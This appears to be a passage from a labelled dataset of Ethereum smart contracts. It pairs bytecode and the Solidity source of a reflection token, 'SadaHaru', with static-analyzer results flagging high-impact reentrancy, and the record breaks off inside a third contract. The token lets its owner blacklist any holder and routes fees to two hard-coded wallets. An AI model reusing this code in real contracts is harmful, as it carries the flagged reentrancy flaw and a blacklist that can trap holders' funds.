803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610604919061178f565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610422565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610422565b60008111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6001600a556009600b556000546001600160a01b03848116911614801590610c8357506000546001600160a01b03838116911614155b15610e62576001600160a01b03831660009081526006602052604090205460ff16158015610cca57506001600160a01b03821660009081526006602052604090205460ff16155b610cd357600080fd5b600f546001600160a01b038481169116148015610cfe5750600e546001600160a01b03838116911614155b8015610d2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d385750600f54600160b81b900460ff165b15610d9557601054811115610d4c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7057600080fd5b610d7b42603c6118d0565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dc05750600e546001600160a01b03848116911614155b8015610de557506001600160a01b03831660009081526005602052604090205460ff16155b15610df5576001600a556009600b555b6000610e00306104c1565b600f54909150600160a81b900460ff16158015610e2b5750600f546001600160a01b03858116911614155b8015610e405750600f54600160b01b900460ff165b15610e6057610e4e81610fb5565b478015610e5e57610e5e47610eac565b505b505b610e6d83838361115a565b505050565b60008184841115610e965760405162461bcd60e51b815260040161042291906117d8565b506000610ea38486611927565b95945050505050565b600c546001600160a01b03166108fc610ec6836002611165565b6040518115909202916000818181858888f19350505050158015610eee573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f09836002611165565b6040518115909202916000818181858888f19350505050158015610604573d6000803e3d6000fd5b6000600854821115610f985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b6000610fa26111a7565b9050610fae8382611165565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061100b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109791906115ed565b816001815181106110b857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110de9130911684610a01565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611117908590600090869030904290600401611860565b600060405180830381600087803b15801561113157600080fd5b505af1158015611145573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e6d8383836111ca565b6000610fae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c1565b60008060006111b46112ef565b90925090506111c38282611165565b9250505090565b6000806000806000806111dc87611331565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061120e908761138e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461123d90866113d0565b6001600160a01b03891660009081526002602052604090205561125f8161142f565b6112698483611479565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ae91815260200190565b60405180910390a3505050505050505050565b600081836112e25760405162461bcd60e51b815260040161042291906117d8565b506000610ea384866118e8565b6008546000908190683635c9adc5dea0000061130b8282611165565b82101561132857505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061134e8a600a54600b5461149d565b925092509250600061135e6111a7565b905060008060006113718e8787876114f2565b919e509c509a509598509396509194505050505091939550919395565b6000610fae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e72565b6000806113dd83856118d0565b905083811015610fae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b60006114396111a7565b905060006114478383611542565b3060009081526002602052604090205490915061146490826113d0565b30600090815260026020526040902055505050565b600854611486908361138e565b60085560095461149690826113d0565b6009555050565b60008080806114b760646114b18989611542565b90611165565b905060006114ca60646114b18a89611542565b905060006114e2826114dc8b8661138e565b9061138e565b9992985090965090945050505050565b60008080806115018886611542565b9050600061150f8887611542565b9050600061151d8888611542565b9050600061152f826114dc868661138e565b939b939a50919850919650505050505050565b60008261155157506000610389565b600061155d8385611908565b90508261156a85836118e8565b14610fae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b80356115cc81611985565b919050565b6000602082840312156115e2578081fd5b8135610fae81611985565b6000602082840312156115fe578081fd5b8151610fae81611985565b6000806040838503121561161b578081fd5b823561162681611985565b9150602083013561163681611985565b809150509250929050565b600080600060608486031215611655578081fd5b833561166081611985565b9250602084013561167081611985565b929592945050506040919091013590565b60008060408385031215611693578182fd5b823561169e81611985565b946020939093013593505050565b600060208083850312156116be578182fd5b823567ffffffffffffffff808211156116d5578384fd5b818501915085601f8301126116e8578384fd5b8135818111156116fa576116fa61196f565b8060051b604051601f19603f8301168101818110858211171561171f5761171f61196f565b604052828152858101935084860182860187018a101561173d578788fd5b8795505b8386101561176657611752816115c1565b855260019590950194938601938601611741565b5098975050505050505050565b600060208284031215611784578081fd5b8135610fae8161199a565b6000602082840312156117a0578081fd5b8151610fae8161199a565b6000806000606084860312156117bf578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611804578581018301518582016040015282016117e8565b818111156118155783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118af5784516001600160a01b03168352938301939183019160010161188a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e3576118e3611959565b500190565b60008261190357634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561192257611922611959565b500290565b60008282101561193957611939611959565b500390565b600060001982141561195257611952611959565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104be57600080fd5b80151581146104be57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3dbe2b0452d26a0c43dc3229843b7f1fd8802fb260f9f4db0bb6674ef8591ad64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,314
0x8fa2f0820f28f08197f35a3ec9fd3615a5c363dc
/** */ /** */ /** /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SadaHaru is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "SadaHaru"; string private constant _symbol = "SadaHaru"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xe69363434cDe21AcE832A31D4B1E389B8aFb3B3C); _feeAddrWallet2 = payable(0x483e5519023A3d0ab61822DAF16A3de4Ea595875); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610297578063b515566a146102b7578063c3c8cd80146102d7578063c9567bf9146102ec578063dd62ed3e1461030157600080fd5b806370a082311461023a578063715018a61461025a5780638da5cb5b1461026f57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c7578063313ce567146101e95780635932ead1146102055780636fc3eaec1461022557600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526008815267536164614861727560c01b602082015290516101459190611794565b60405180910390f35b34801561015a57600080fd5b5061016e610169366004611634565b610347565b6040519015158152602001610145565b34801561018a57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610145565b3480156101b357600080fd5b5061016e6101c23660046115f3565b61035e565b3480156101d357600080fd5b506101e76101e2366004611580565b6103c7565b005b3480156101f557600080fd5b5060405160098152602001610145565b34801561021157600080fd5b506101e761022036600461172c565b61041b565b34801561023157600080fd5b506101e7610463565b34801561024657600080fd5b50610199610255366004611580565b610490565b34801561026657600080fd5b506101e76104b2565b34801561027b57600080fd5b506000546040516001600160a01b039091168152602001610145565b3480156102a357600080fd5b5061016e6102b2366004611634565b610526565b3480156102c357600080fd5b506101e76102d2366004611660565b610533565b3480156102e357600080fd5b506101e76105c9565b3480156102f857600080fd5b506101e76105ff565b34801561030d57600080fd5b5061019961031c3660046115ba565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103543384846109c8565b5060015b92915050565b600061036b848484610aec565b6103bd84336103b885604051806060016040528060288152602001611980602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e37565b6109c8565b5060019392505050565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f1906117e9565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104455760405162461bcd60e51b81526004016103f1906117e9565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048357600080fd5b4761048d81610e71565b50565b6001600160a01b03811660009081526002602052604081205461035890610ef6565b6000546001600160a01b031633146104dc5760405162461bcd60e51b81526004016103f1906117e9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610354338484610aec565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016103f1906117e9565b60005b81518110156105c55760016006600084848151811061058157610581611930565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bd816118ff565b915050610560565b5050565b600c546001600160a01b0316336001600160a01b0316146105e957600080fd5b60006105f430610490565b905061048d81610f7a565b6000546001600160a01b031633146106295760405162461bcd60e51b81526004016103f1906117e9565b600f54600160a01b900460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f1565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c330826b033b2e3c9fd0803ce80000006109c8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fc57600080fd5b505afa158015610710573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610734919061159d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077c57600080fd5b505afa158015610790573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b4919061159d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fc57600080fd5b505af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610834919061159d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086481610490565b6000806108796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108dc57600080fd5b505af11580156108f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109159190611766565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099057600080fd5b505af11580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c59190611749565b6001600160a01b038316610a2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b038216610a8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b505760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b60008111610c145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f1565b6001600a55600b80556000546001600160a01b03848116911614801590610c4957506000546001600160a01b03838116911614155b15610e27576001600160a01b03831660009081526006602052604090205460ff16158015610c9057506001600160a01b03821660009081526006602052604090205460ff16155b610c9957600080fd5b600f546001600160a01b038481169116148015610cc45750600e546001600160a01b03838116911614155b8015610ce957506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfe5750600f54600160b81b900460ff165b15610d5b57601054811115610d1257600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3657600080fd5b610d4142603c61188f565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d865750600e546001600160a01b03848116911614155b8015610dab57506001600160a01b03831660009081526005602052604090205460ff16155b15610dba576001600a55600b80555b6000610dc530610490565b600f54909150600160a81b900460ff16158015610df05750600f546001600160a01b03858116911614155b8015610e055750600f54600160b01b900460ff165b15610e2557610e1381610f7a565b478015610e2357610e2347610e71565b505b505b610e32838383611103565b505050565b60008184841115610e5b5760405162461bcd60e51b81526004016103f19190611794565b506000610e6884866118e8565b95945050505050565b600c546001600160a01b03166108fc610e8b83600261110e565b6040518115909202916000818181858888f19350505050158015610eb3573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ece83600261110e565b6040518115909202916000818181858888f193505050501580156105c5573d6000803e3d6000fd5b6000600854821115610f5d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f1565b6000610f67611150565b9050610f73838261110e565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc257610fc2611930565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101657600080fd5b505afa15801561102a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104e919061159d565b8160018151811061106157611061611930565b6001600160a01b039283166020918202929092010152600e5461108791309116846109c8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c090859060009086903090429060040161181e565b600060405180830381600087803b1580156110da57600080fd5b505af11580156110ee573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e32838383611173565b6000610f7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126a565b600080600061115d611298565b909250905061116c828261110e565b9250505090565b600080600080600080611185876112e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b7908761133d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e6908661137f565b6001600160a01b038916600090815260026020526040902055611208816113de565b6112128483611428565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125791815260200190565b60405180910390a3505050505050505050565b6000818361128b5760405162461bcd60e51b81526004016103f19190611794565b506000610e6884866118a7565b60085460009081906b033b2e3c9fd0803ce80000006112b7828261110e565b8210156112d7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fd8a600a54600b5461144c565b925092509250600061130d611150565b905060008060006113208e8787876114a1565b919e509c509a509598509396509194505050505091939550919395565b6000610f7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e37565b60008061138c838561188f565b905083811015610f735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b60006113e8611150565b905060006113f683836114f1565b30600090815260026020526040902054909150611413908261137f565b30600090815260026020526040902055505050565b600854611435908361133d565b600855600954611445908261137f565b6009555050565b6000808080611466606461146089896114f1565b9061110e565b9050600061147960646114608a896114f1565b905060006114918261148b8b8661133d565b9061133d565b9992985090965090945050505050565b60008080806114b088866114f1565b905060006114be88876114f1565b905060006114cc88886114f1565b905060006114de8261148b868661133d565b939b939a50919850919650505050505050565b60008261150057506000610358565b600061150c83856118c9565b90508261151985836118a7565b14610f735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b803561157b8161195c565b919050565b60006020828403121561159257600080fd5b8135610f738161195c565b6000602082840312156115af57600080fd5b8151610f738161195c565b600080604083850312156115cd57600080fd5b82356115d88161195c565b915060208301356115e88161195c565b809150509250929050565b60008060006060848603121561160857600080fd5b83356116138161195c565b925060208401356116238161195c565b929592945050506040919091013590565b6000806040838503121561164757600080fd5b82356116528161195c565b946020939093013593505050565b6000602080838503121561167357600080fd5b823567ffffffffffffffff8082111561168b57600080fd5b818501915085601f83011261169f57600080fd5b8135818111156116b1576116b1611946565b8060051b604051601f19603f830116810181811085821117156116d6576116d6611946565b604052828152858101935084860182860187018a10156116f557600080fd5b600095505b8386101561171f5761170b81611570565b8552600195909501949386019386016116fa565b5098975050505050505050565b60006020828403121561173e57600080fd5b8135610f7381611971565b60006020828403121561175b57600080fd5b8151610f7381611971565b60008060006060848603121561177b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c1578581018301518582016040015282016117a5565b818111156117d3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186e5784516001600160a01b031683529383019391830191600101611849565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a2576118a261191a565b500190565b6000826118c457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e3576118e361191a565b500290565b6000828210156118fa576118fa61191a565b500390565b60006000198214156119135761191361191a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3ed396c9775b5554813f3383601bffbe90da173f4d443319a6eb1c4f9cfcc4e64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,315
0xe54efd7c803f29d646a9087885a683d2506d6d69
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 